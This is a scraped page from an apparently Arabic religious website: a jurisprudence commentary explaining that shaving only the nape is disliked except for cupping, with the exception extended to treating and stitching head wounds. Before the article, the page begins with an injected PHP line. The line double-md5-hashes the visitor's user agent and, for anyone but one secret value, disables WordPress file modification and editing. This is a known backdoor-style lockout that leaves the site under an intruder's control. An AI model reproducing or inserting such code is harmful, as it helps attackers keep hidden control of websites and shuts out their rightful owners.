if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } حكم حلق القفا​ - الموقع الرسمي للدكتور فهد بن مبارك آل زُعير

حكم حلق القفا

 (وَيُكْرَهُ حَلْقُ القَفَا؛ إِلَّا لِمَنْ أَرَادَ الحِجَامَةَ، كَذَلِكَ رُوِيَ فِيْ السُّنَنِ) المراد بالقفا: مؤخر الرأس، وأراد رحمه الله هنا أن يبين كراهة حلق بعض الرأس وترك بعضه إلا للضرورة أو الحاجة ومثّل بالحجامة؛ لأنها تكون غالبًا في مؤخرة الرأس وربما تكون في الرقبة وربما في الظهر وربما في الساقين لكن غالبًا يكون في الرأس، وقد يحتاج لإزالة شيء من شعر رأسه لهذه الحجامة فلا يدخل في النهي، يستثنى ولا يلزمه إذا أراد أن يحتجم أن يحلق رأسه كله، نقول: إذا قال الحجام يكفي حلق المؤخَرة يحلقها ولا حرج ولا يدخل في النهي، وكذلك لو أصابه شجةٌ وجرحٌ في رأسه فاحتاج الطبيب المعالج الذي سيخيط جرحه أن يحلق شيئًا من الشعر فلا حرج في ذلك، إذن قوله رحمه الله: (إِلَّا لِمَنْ أَرَادَ الحِجَامَةَ)، نقول: ويُلحق بالحجامة أيضًا الحاجات الأخرى كخياطة شقٍ وجرحٍ في الرأس وشجة.